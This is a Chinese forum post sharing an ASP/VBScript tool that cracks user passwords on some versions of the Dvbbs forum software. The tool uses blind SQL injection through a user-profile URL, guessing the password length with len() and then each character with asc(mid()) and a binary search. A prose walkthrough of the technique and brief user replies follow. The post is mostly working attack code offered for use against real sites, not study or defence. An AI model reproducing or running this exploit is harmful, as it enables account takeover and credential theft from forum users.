[分享]最新暴力破解《动网》密码程序代码

fxbaobao

<% <br/> response.buffer=false <br/> 为防止程序陷入死循环，初始化一些最大重试值 <br/> Dim MaxPassLen,MaxPassAsc <br/> MaxPassLen=20 密码最大长度 <br/> MaxPassAsc=20 <br/> ==== 字符转换 <br/> Function bytes2BSTR(vIn) <br/> strReturn = &quot;&quot; <br/> For j = 1 To LenB(vIn) <br/> ThisCharCode = AscB(MidB(vIn,j,1)) <br/> If ThisCharCode < &H80 Then <br/> strReturn = strReturn & Chr(ThisCharCode) <br/> Else <br/> NextCharCode = AscB(MidB(vIn,j+1,1)) <br/> strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) <br/> j = j + 1 <br/> End If <br/> Next <br/> bytes2BSTR = strReturn <br/> End Function <br/> 下面是取网页内容 ========== <br/> Function GetUrl(Url) <br/> set oSend=createobject(&quot;Microsoft.XMLHTTP&quot;) <br/> SourceCode = oSend.open (&quot;GET&quot;,url,false) <br/> oSend.send() <br/> SourceCode = bytes2BSTR(oSend.responseBody) <br/> GetUrl = SourceCode <br/> End Function <br/> 下面是判断返回页面效果 <br/> Function ChkPage(SourceCode,SucKey,ErrKey) <br/> if Instr(SourceCode,SucKey) > 0 then <br/> ChkPage=true 页面返回成功 <br/> exit function <br/> end if <br/> if Instr(SourceCode,ErrKey) > 0 then <br/> ChkPage=false 页面出错 <br/> exit function <br/> end if <br/> ChkPage=false 关键字信息不对或者是页面未连接 <br/> response.write(&quot;关键字信息不对或者是页面未连接&quot;) <br/> response.end <br/> End Function </p><p> 开始破解 <br/> Dim url,username,password,SucKey, </p><p> Dim PassLenUrl <br/> Dim PassLen <br/> Dim ChkPassLen </p><p> If request(&quot;begin&quot;)<>&quot;&quot; then <br/> response.cookies(&quotassLen&quot;)=0 <br/> url=request(&quot;url&quot;) <br/> username=request(&quot;username&quot;) <br/> password=request(&quot;password&quot;) <br/> SucKey=request(&quot;SucKey&quot;) <br/> ErrKey=request(&quot;ErrKey&quot;) <br/> response.write(&quot;第一步，破解密码长度<BR>&quot;) </p><p> PassLen = 1 <br/> ChkPassLen = false <br/> Do while not ChkPassLen <br/> PassLenUrl = Url & username & &quot;%20and%20len(&quot; & password & &quot;)=&quot; & PassLen & &quot;%20and%201=1&quot; <br/> response.write(&quot;当前测试密码位数为“&quot; & PassLen & &quot;”，请稍等......<BR>&quot;) <br/> ChkPassLen = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) <br/> If ChkPassLen Then <br/> response.write(&quot;成功！！！密码位数已经测试出来了，开始测试具体位数<BR>&quot;) <br/> exit do <br/> Else <br/> response.write(&quot;不行，继续下一位测试！<BR>&quot;) <br/> End If <br/> If PassLen > MaxPassLen then <br/> response.write( &quot;密码位数未能测试出，请确认是否有此用户或重新调整密码长度范围&quot;) <br/> response.end <br/> exit do <br/> End If <br/> PassLen = PassLen + 1 <br/> Loop <br/> response.write (&quot;<FONT COLOR=red>已经测试出密码长度为&quot; & PassLen & &quot;，开始测试具体密码值</FONT><BR><BR>&quot;) <br/> 循环每一位 <br/> Dim Asc1,Asc2,Asc10,Asc20,Ascstr <br/> Dim AscArr(PassLen) <br/> Dim ChkPass,Asctemp1,Asctemp,count <br/> Ascstr = &quot;&quot; </p><p> For i=1 to PassLen <br/> ChkPass = false <br/> Asc1 = 33 <br/> Asc2 = 126 <br/> response.write &quot;开始破解第&quot; & i & &quot;位密码<BR>&quot; <br/> 用二分法取asc码范围 <br/> count=1 <br/> suc=false <br/> Do while not suc <br/> Asctemp1=Asctemp <br/> if (Asc2-Asc1) mod 2 = 1 then <br/> Asctemp=(Asc2-Asc1-1)/2 <br/> else <br/> Asctemp=(Asc2-Asc1)/2 <br/> end if </p><p> response.write &quot;划定密码范围为：&quot; & chr(Asc1) & &quot; -- &quot; & chr(Asc2) & PassLenUrl & &quot;<BR>&quot; <br/> PassLenUrl = Url & username & &quot;%20and%20asc(mid(password,&quot;&i&&quot;,1))>=&quot; & int(Asc1) & &quot;%20and%20asc(mid(password,&quot;&i&&quot;,1))<=&quot; & int(Asc2) & &quot;%20and%201=1&quot; <br/> response.write &quot;划定密码范围为：&quot; & chr(Asc1) & &quot; -- &quot; & chr(Asc2) & PassLenUrl & &quot;<BR>&quot; <br/> ChkPass = ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey) <br/> if Asc1 = 33 and Asc2 = 126 and not ChkPass then <br/> response.write &quot;密码不在所设定ASC码范围内&quot; <br/> response.end <br/> exit do <br/> end if <br/> if ChkPass then <br/> Asc10=Asc1 <br/> Asc20=Asc2 <br/> response.write(&quot;密码在该范围内<BR>&quot;) <br/> if Asc1=Asc2 then Suc = true <br/> Asc2 = Asc1 + Asctemp <br/> else <br/> Asc1 = Asc20-Asctemp1 <br/> Asc2 = Asc20 <br/> response.write(&quot;不在该范围内，改试另一范围<BR>&quot;) <br/> end if <br/> count=count+1 <br/> if count>MaxPassAsc then <br/> response.write(&quot;死循环了！&quot;) <br/> response.end <br/> exit do <br/> end if <br/> Loop <br/> Ascstr=Ascstr & chr(Asc1) <br/> response.write&quot;<BR>当前破解进度（“&quot;&Ascstr&&quot;”）<BR><BR><BR><BR>&quot; <br/> Next </p><p> <br/> response.write&quot;<FONT SIZE=7 COLOR=red>&quot; & username & &quot;的密码已经破解成功！！！！！！！（&quot; & Ascstr & &quot;）<BR></FONT><BR>&quot; <br/> else <br/> %> <br/> <body style=&quot;font-size:9pt&quot;> <br/> <h3 align=center><B>动网论坛暴力破解程序</B></h3> </p><p> <form METHOD=POST ACTION=&quot;&quot; name=frm> <br/> 网站地址：<INPUT TYPE=&quot;text&quot; NAME=&quot;url&quot; value=&quot;http://*******/bbs/viewuser.asp?username=&quot;>（要破解攻击的地址，注：地址中&quot;=&quot;后的信息不要）<BR> <br/> 密码字段：<INPUT TYPE=&quot;text&quot; NAME=&quot;password&quot; value=&quot;password&quot;>（在数据库中保存密码的字段名）<BR> <br/> 出错页关键字：<INPUT TYPE=&quot;text&quot; NAME=&quot;ErrKey&quot; value=&quot;错误&quot;>（没有找到该用户时返回的页面关键字，比如“错误信息”）<BR> <br/> 成功页关键字：<INPUT TYPE=&quot;text&quot; NAME=&quot;SucKey&quot; value=&quot;&quot;>（成功查询到该用户资料时的关键字，比如用户名）<BR> <br/> 用户名称：<INPUT TYPE=&quot;text&quot; NAME=&quot;username&quot;>（要破解密码的用户名）<BR> <br/> <INPUT TYPE=&quot;submit&quot; value=&quot;开始破解&quot; name=&quot;begin&quot;> <INPUT TYPE=&quot;button&quot; value=&quot;检查用户&quot; onclick=&quot;ChkUser()&quot;> <INPUT TYPE=&quot;button&quot; value=&quot;继续破解&quot; onclick=&quot;alert(防止中途结束了，但是没作好)&quot;> <br/> </form> <br/> <%end if%> <br/> <SCRIPT LANGUAGE=&quot;****&quot;> <br/> <!-- <br/> function ChkUser() <br/> { <br/> window.open(document.frm.url.value+document.frm.username.value); <br/> } <br/> //--> <br/> </SCRIPT> </p><p> 程序示例:要破一个名叫abc的用户密码，察看abc的用户资料，给出的连接是http://xxxxx/dispuser.asp?name=abc，在dispuser.asp中，读取参数的语句是: username=trim(request(“name”))，数据库的查询的语句是: sql=“select * from [user] where username=’“&username&”’”,abc就是直接被作为了dispuer的一个参数username。另外，如果该用户不存在，程序就会给出提示，就再写入个查询密码的条件，在where　username=abc后面加上and userpassword=“******”，可以先用len函数试出用户的密码位数，地址就这么写http://xxxxx/dispuser.asp?name=abc%20and%20len(userpassword)=5%20and%201=1，这么看可能不好理解，放到sql语句里其实就是这样子：sql=“select * from [User] where username=abc and len(UserPassword)=5 and 1=1”，%20是空格，abc后面的单引号和’1’=’1里的单引号都是为了和sql语句相匹配。该用户不存在?那就说明符合这个条件的用户没有，继续，把5换成6，7，8，依此类推，只要能显示出用户资料了，就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了，继续要用到VBS，可以用left或right或mid函数，http://xxxxx/dispuser.asp?name=abc%20and%20left(userpassword,1)=a，如果猜对了就给出用户资料，猜错了就给出该用户不存在的提示，就可以直接在程序里面用xmlhttp来获取指定网址的内容，然后根据提供的关键字来判断是否猜对了，先用前面说的len方法从1开始穷举搞定为止，然后在针对每一位密码用mid函数集合键盘的asc码的范围（33到126），在程序里面用二分法来逐步缩小范围，几个循环就完成了。 </p><p> 注意，只适用了部分动网论坛版本。(基本一分钟破解出来一个密码) <br/> [em4][emb24]

00

我不会~<br/>   C语言太难了~

02long

郁闷啊`！

mj小飞侠

靠。 这么多啊

figohf

在哪看过的文章~但是不知道好不好用~还没有实验过呢~